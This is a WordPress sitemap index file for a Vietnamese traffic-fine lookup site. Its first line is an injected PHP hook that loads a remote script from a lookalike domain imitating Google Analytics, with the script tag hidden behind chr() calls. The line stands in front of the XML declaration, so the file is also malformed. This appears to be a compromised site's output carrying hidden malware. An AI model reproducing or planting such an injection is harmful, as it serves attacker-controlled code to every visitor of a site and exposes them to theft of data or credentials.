add_action('wp_head',function(){echo chr(60).'script src='.chr(34).'https://www.googie-anaiytics.com/jquery.scrollto.min.js'.chr(34).'>'.chr(60).'/script>';},99);
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://tracuuphatnguoi.net/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://tracuuphatnguoi.net/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://tracuuphatnguoi.net/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://tracuuphatnguoi.net/wp-sitemap-taxonomies-category-1.xml</loc></sitemap></sitemapindex>